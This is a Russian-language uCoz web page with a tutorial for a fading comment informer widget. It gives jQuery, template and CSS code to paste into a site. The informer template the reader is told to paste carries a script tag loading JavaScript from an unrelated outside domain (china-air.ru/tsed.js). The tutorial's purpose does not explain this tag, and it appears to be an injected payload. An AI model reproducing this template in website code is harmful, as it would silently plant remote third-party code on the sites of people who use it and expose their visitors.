Меню сайта
статьи по cs 1.6
Всё для Ucoz
Всё для cs 1.6
Мини-чат
Наш опрос
Оцените наш сайт
Всего ответов: 8
Главная »
2012 » Декабрь » 24 » Информер с плавным обновлением коментариев
20:38
Информер с плавным обновлением коментариев
Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее. Установка! Ставим этот скрипт после тега <body>: Код
<script type="text/javascript"> $(document).ready(function(){ var first = 0; var speed = 700; var pause = 3500; function removeFirst(){ first = $('ul#center_dm_ru li:first').html(); $('ul#center_dm_ru li:first') .animate({opacity: 0}, speed) .fadeOut('slow', function() {$(this).remove();}); addLast(first); } function addLast(first){ last = '<li style="display:none">'+first+'</li>'; $('ul#center_dm_ru').append(last) $('ul#center_dm_ru li:last') .animate({opacity: 1}, speed) .fadeIn('slow') } interval = setInterval(removeFirst, pause); }); </script>
Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код: Код
<li> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a> </li>
Вставляем этот код в блок и меняем на свой информер: Код
<ul id="center_dm_ru"> $MYINF_1$ </ul>
И прописываем в css стили информера: Код
#center_dm_ru { overflow:hidden; height:250px; width:250px; border:solid 1px #C8D9E5; padding: 0px 0px 0px 0px; background: #F8FCFF; } #center_dm_ru li { list-style:none; overflow:hidden; border-top: 1px solid #fff; border-bottom: 1px solid #C8D9E5; padding: 10px 5px 10px 5px; } .coment_avatar { float:right; width:25px; height:25px; background: #F3F3F3; margin-left: 5px; padding: 2px; border:1px solid #C8D9E5; } .massage_link:link, .massage_link:visited { text-decoration: none; color:#555; } .massage_link:hover { color:#999; } #center_dm_ru li a:hover img { filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50); }
[code][/code]
Просмотров: 272 |
Добавил: startsmart
| Рейтинг: 0.0 /0
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация |
Вход ]
Профиль
Block title
Заработай деньги
Календарь
статистика
Архив записей
Статистика
Всего материалов:
Новостей: 130
Файлов: 122
Фото: 7
Форум: 9/27
Коментариев: 4
Зарег. на сайте:
Всего: 37 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0
Из них:
Администраторов:
4 Модераторов:
1 Дизайнеров:
Файловиков:
0 Проверенных:
0 Обычных:
32 Забаненых:
0 Из них:
Парней:
32 Девушек:
5
Онлайн:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Поиск